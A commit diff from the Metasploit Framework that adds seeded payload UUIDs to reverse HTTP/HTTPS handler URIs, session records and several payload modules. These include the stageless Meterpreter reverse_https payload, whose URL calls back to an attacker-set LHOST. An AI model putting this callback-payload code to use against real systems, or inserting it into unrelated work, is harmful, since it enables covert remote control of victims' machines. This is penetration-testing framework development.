Skip to content

Commit a39ba05

Browse files
author
HD Moore
committed
Functional Payload UUID embedding via PayloadUUIDSeed
1 parent a9cfd7e commit a39ba05

File tree

12 files changed

+121
-35
lines changed

12 files changed

+121
-35
lines changed

lib/msf/base/serializer/readable_text.rb

Lines changed: 7 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -536,6 +536,7 @@ def self.dump_sessions(framework, opts={})
536536
]
537537

538538
columns << 'Via' if verbose
539+
columns << 'PayloadId' if verbose
539540

540541
tbl = Rex::Ui::Text::Table.new(
541542
'Indent' => indent,
@@ -555,7 +556,11 @@ def self.dump_sessions(framework, opts={})
555556
if session.respond_to? :platform
556557
row[1] += " " + session.platform
557558
end
558-
row << session.via_exploit if verbose and session.via_exploit
559+
560+
if verbose
561+
row << session.via_exploit.to_s
562+
row << session.payload_uuid.to_s
563+
end
559564

560565
tbl << row
561566
}
@@ -566,7 +571,7 @@ def self.dump_sessions(framework, opts={})
566571
# Dumps the list of running jobs.
567572
#
568573
# @param framework [Msf::Framework] the framework.
569-
# @param verbose [Boolean] if true, also prints the payload, LPORT, URIPATH
574+
# @param verbose [Boolean] if true, also prints the payload, LPORT, URIPATH
570575
# and start time, if they exist, for each job.
571576
# @param indent [Integer] the indentation amount.
572577
# @param col [Integer] the column wrap width.

lib/msf/core/handler.rb

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -198,6 +198,9 @@ def create_session(conn, opts={})
198198
# and any relevant information
199199
s.set_from_exploit(assoc_exploit)
200200

201+
# Pass along any associated payload uuid if specified
202+
s.payload_uuid = opts[:payload_uuid] if opts[:payload_uuid]
203+
201204
# If the session is valid, register it with the framework and
202205
# notify any waiters we may have.
203206
if (s)

lib/msf/core/handler/reverse_http.rb

Lines changed: 5 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -226,7 +226,7 @@ def on_request(cli, req, obj)
226226

227227
conn_id = nil
228228
if info[:mode] && info[:mode] != :connect
229-
conn_id = generate_uri_connect_uuid(uuid)
229+
conn_id = generate_uri_uuid(URI_CHECKSUM_CONN, uuid)
230230
end
231231

232232
self.pending_connections += 1
@@ -264,7 +264,7 @@ def on_request(cli, req, obj)
264264
:expiration => datastore['SessionExpirationTimeout'].to_i,
265265
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
266266
:ssl => ssl?,
267-
:uuid => uuid
267+
:payload_uuid => uuid
268268
})
269269

270270
when :init_java
@@ -292,7 +292,7 @@ def on_request(cli, req, obj)
292292
:expiration => datastore['SessionExpirationTimeout'].to_i,
293293
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
294294
:ssl => ssl?,
295-
:uuid => uuid
295+
:payload_uuid => uuid
296296
})
297297

298298
when :init_native
@@ -331,7 +331,7 @@ def on_request(cli, req, obj)
331331
:expiration => datastore['SessionExpirationTimeout'].to_i,
332332
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
333333
:ssl => ssl?,
334-
:uuid => uuid
334+
:payload_uuid => uuid
335335
})
336336

337337
when :connect
@@ -347,7 +347,7 @@ def on_request(cli, req, obj)
347347
:expiration => datastore['SessionExpirationTimeout'].to_i,
348348
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
349349
:ssl => ssl?,
350-
:uuid => uuid
350+
:payload_uuid => uuid
351351
})
352352

353353
else

lib/msf/core/handler/reverse_http/uri_checksum.rb

Lines changed: 26 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -58,16 +58,27 @@ def process_uri_resource(uri)
5858
{ uri: uri_bare, sum: uri_csum, uuid: uri_uuid, mode: uri_mode }
5959
end
6060

61-
# Create a URI that matches the :connect mode with optional UUID, Arch, and Platform
61+
# Create a URI that matches the specified checksum and payload uuid
6262
#
63+
# @param sum [Fixnum] A checksum mode value to use for the generated url
6364
# @param uuid [Msf::Payload::UUID] A valid UUID object
65+
# @param len [Fixnum] An optional URI length value, including the leading slash
6466
# @return [String] The URI string for connections
65-
def generate_uri_connect_uuid(uuid)
67+
def generate_uri_uuid(sum, uuid, len=nil)
6668
curl_uri_len = URI_CHECKSUM_UUID_MIN_LEN+rand(URI_CHECKSUM_CONN_MAX_LEN-URI_CHECKSUM_UUID_MIN_LEN)
6769
curl_prefix = uuid.to_uri
6870

69-
# Pad out the URI and make the checksum match :connect
70-
"/" + generate_uri_checksum(URI_CHECKSUM_CONN, curl_uri_len, curl_prefix)
71+
if len
72+
# Subtract a byte to take into account the leading /
73+
curl_uri_len = len - 1
74+
end
75+
76+
if curl_uri_len < URI_CHECKSUM_UUID_MIN_LEN
77+
raise ArgumentError, "Length must be #{URI_CHECKSUM_UUID_MIN_LEN+1} bytes or greater"
78+
end
79+
80+
# Pad out the URI and make the checksum match the specified sum
81+
"/" + generate_uri_checksum(sum, curl_uri_len, curl_prefix)
7182
end
7283

7384
# Create an arbitrary length URI that matches a given checksum
@@ -77,7 +88,6 @@ def generate_uri_connect_uuid(uuid)
7788
# @param prefix [String] The optional prefix to use to build the URI
7889
# @return [String] The URI string that checksums to the given value
7990
def generate_uri_checksum(sum, len=5, prefix="")
80-
8191
# Lengths shorter than 4 bytes are unable to match all possible checksums
8292
# Lengths of exactly 4 are relatively slow to find for high checksum values
8393
# Lengths of 5 or more bytes find a matching checksum fairly quickly (~80ms)
@@ -108,6 +118,17 @@ def generate_uri_checksum(sum, len=5, prefix="")
108118
end
109119
end
110120

121+
# Return the numerical checksum for a given mode symbol
122+
#
123+
# @param mode [Symbol] The mode symbol to lookup (:connect, :init_native, :init_python, :init_java)
124+
# @return [Fixnum] The URI checksum value corresponding with the mode
125+
def uri_checksum_lookup(mode)
126+
sum = URI_CHECKSUM_MODES.keys.select{|ksum| URI_CHECKSUM_MODES[ksum] == mode}.first
127+
unless sum
128+
raise ArgumentError, "Unknown checksum mode: #{mode}"
129+
end
130+
sum
131+
end
111132
end
112133
end
113134
end

lib/msf/core/payload/uuid.rb

Lines changed: 6 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -104,6 +104,8 @@ def self.generate_raw(opts={})
104104
puid = seed_to_puid(opts[:seed])
105105
end
106106

107+
p opts
108+
107109
puid ||= Rex::Text.rand_text(8)
108110

109111
if puid.length != 8
@@ -281,15 +283,15 @@ def to_uri
281283
Rex::Text.encode_base64url(self.to_raw)
282284
end
283285

286+
def puid_hex
287+
self.puid.unpack('H*').first
288+
end
289+
284290
def xor_reset
285291
self.xor1 = self.xor2 = nil
286292
self
287293
end
288294

289-
def puid_hex
290-
self.puid.unpack('H*').first
291-
end
292-
293295
attr_reader :arch
294296
attr_reader :platform
295297

lib/msf/core/payload/uuid_options.rb

Lines changed: 49 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -1,15 +1,61 @@
11
# -*- coding => binary -*-
22

3+
require 'msf/core'
34
require 'msf/core/payload/uuid'
5+
require 'msf/core/handler/reverse_http/uri_checksum'
46

57
#
6-
# This module provides datastore option definitions and helper
7-
# methods for payload modules that support UUIDs
8+
# This module provides datastore option definitions and helper methods for payload modules that support UUIDs
89
#
9-
module Msf::Payload::UUID::Options
10+
module Msf::Payload::UUIDOptions
1011

12+
include Msf::Handler::ReverseHttp::UriChecksum
1113

14+
def initialize(info = {})
15+
super
16+
register_advanced_options(
17+
[
18+
Msf::OptString.new('PayloadUUIDSeed', [ false, 'A string to use when generating the payload UUID (deterministic)'])
19+
], self.class)
20+
end
1221

22+
#
23+
# Generates a URI with a given checksum and optionally with an embedded UUID if
24+
# the desired length can accomodate it.
25+
#
26+
# @param mode [Symbol] The type of checksum to generate (:connect, :init_native, :init_python, :init_java)
27+
# @param len [Fixnum] The length of the URI not including the leading slash, optionally nil for random
28+
# @return [String] A URI with a leading slash that hashes to the checksum, with an optional UUID
29+
#
30+
def generate_uri_uuid_mode(mode,len=nil)
31+
sum = uri_checksum_lookup(mode)
32+
33+
# The URI length may not have room for an embedded checksum
34+
if len && len < URI_CHECKSUM_UUID_MIN_LEN
35+
# Throw an error if the user set a seed, but there is no room for it
36+
if datastore['PayloadUUIDSeed'].to_s.length > 0
37+
raise ArgumentError, "A PayloadUUIDSeed was specified, but this payload doesn't have enough room for a UUID"
38+
end
39+
return "/" + generate_uri_checksum(sum, len, prefix="")
40+
end
41+
42+
generate_uri_uuid(sum, generate_payload_uuid, len)
43+
end
44+
45+
# Generate a Payload UUID
46+
def generate_payload_uuid
47+
48+
conf = {
49+
arch: self.arch,
50+
platform: self.platform
51+
}
52+
53+
if datastore['PayloadUUIDSeed'].to_s.length > 0
54+
conf[:seed] = datastore['PayloadUUIDSeed'].to_s
55+
end
56+
57+
Msf::Payload::UUID.new(conf)
58+
end
1359

1460
end
1561

lib/msf/core/payload/windows/reverse_http.rb

Lines changed: 4 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -3,6 +3,7 @@
33
require 'msf/core'
44
require 'msf/core/payload/windows/block_api'
55
require 'msf/core/payload/windows/exitfunk'
6+
require 'msf/core/payload/uuid_options'
67

78
module Msf
89

@@ -19,6 +20,7 @@ module Payload::Windows::ReverseHttp
1920
include Msf::Payload::Windows
2021
include Msf::Payload::Windows::BlockApi
2122
include Msf::Payload::Windows::Exitfunk
23+
include Msf::Payload::UUIDOptions
2224

2325
#
2426
# Register reverse_http specific options
@@ -99,14 +101,14 @@ def generate_uri
99101
raise ArgumentError, "Minimum StagerURILength is 5"
100102
end
101103

102-
"/" + generate_uri_checksum(Msf::Handler::ReverseHttp::URI_CHECKSUM_INITW, uri_req_len)
104+
generate_uri_uuid_mode(:init_native, uri_req_len)
103105
end
104106

105107
#
106108
# Generate the URI for the initial stager
107109
#
108110
def generate_small_uri
109-
"/" + generate_uri_checksum(Msf::Handler::ReverseHttp::URI_CHECKSUM_INITW)
111+
generate_uri_uuid_mode(:init_native, 5)
110112
end
111113

112114
#

lib/msf/core/session.rb

Lines changed: 4 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -385,6 +385,10 @@ def alive?
385385
#
386386
attr_accessor :exploit_uuid
387387
#
388+
# The unique identifier of the payload that created this session
389+
#
390+
attr_accessor :payload_uuid
391+
#
388392
# The actual exploit module instance that created this session
389393
#
390394
attr_accessor :exploit

modules/payloads/singles/windows/meterpreter_reverse_https.rb

Lines changed: 8 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -6,6 +6,7 @@
66
require 'msf/core'
77
require 'msf/core/handler/reverse_https'
88
require 'msf/core/payload/windows/stageless_meterpreter'
9+
require 'msf/core/payload/uuid_options'
910
require 'msf/base/sessions/meterpreter_x86_win'
1011
require 'msf/base/sessions/meterpreter_options'
1112
require 'rex/parser/x509_certificate'
@@ -17,6 +18,7 @@ module Metasploit3
1718
include Msf::Payload::Windows::StagelessMeterpreter
1819
include Msf::Sessions::MeterpreterOptions
1920
include Msf::Payload::Windows::VerifySsl
21+
include Msf::Payload::UUIDOptions
2022

2123
def initialize(info = {})
2224

@@ -37,9 +39,7 @@ def initialize(info = {})
3739
end
3840

3941
def generate
40-
checksum = generate_uri_checksum(Handler::ReverseHttp::UriChecksum::URI_CHECKSUM_CONN)
41-
rand = Rex::Text.rand_text_alphanumeric(16)
42-
url = "https://#{datastore['LHOST']}:#{datastore['LPORT']}/#{checksum}_#{rand}/"
42+
url = "https://#{datastore['LHOST']}:#{datastore['LPORT']}" + generate_uri_uuid_mode(:connect)
4343

4444
generate_stageless_meterpreter(url) do |dll|
4545

@@ -66,11 +66,11 @@ def generate
6666
:expiration => datastore['SessionExpirationTimeout'].to_i,
6767
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
6868
:ua => datastore['MeterpreterUserAgent'],
69-
:proxyhost => datastore['PROXYHOST'],
70-
:proxyport => datastore['PROXYPORT'],
71-
:proxy_type => datastore['PROXY_TYPE'],
72-
:proxy_username => datastore['PROXY_USERNAME'],
73-
:proxy_password => datastore['PROXY_PASSWORD'])
69+
:proxy_host => datastore['PayloadProxyHost'],
70+
:proxy_port => datastore['PayloadProxyPort'],
71+
:proxy_type => datastore['PayloadProxyType'],
72+
:proxy_username => datastore['PayloadProxyUser'],
73+
:proxy_password => datastore['PayloadProxyPass'])
7474
end
7575

7676
end

modules/payloads/stagers/java/reverse_https.rb

Lines changed: 3 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -5,13 +5,15 @@
55

66
require 'msf/core'
77
require 'msf/core/handler/reverse_https'
8+
require 'msf/core/payload/uuid_options'
89

910
module Metasploit3
1011

1112
CachedSize = 6307
1213

1314
include Msf::Payload::Stager
1415
include Msf::Payload::Java
16+
include Msf::Payload::UUIDOptions
1517

1618
def initialize(info = {})
1719
super(merge_info(info,
@@ -55,8 +57,7 @@ def config
5557
c << "Spawn=#{spawn}\n"
5658
c << "URL=https://#{datastore["LHOST"]}"
5759
c << ":#{datastore["LPORT"]}" if datastore["LPORT"]
58-
c << "/"
59-
c << generate_uri_checksum(Msf::Handler::ReverseHttp::URI_CHECKSUM_INITJ, uri_req_len)
60+
c << generate_uri_uuid_mode(:init_java, uri_req_len)
6061
c << "\n"
6162

6263
c

0 commit comments

Comments
 (0)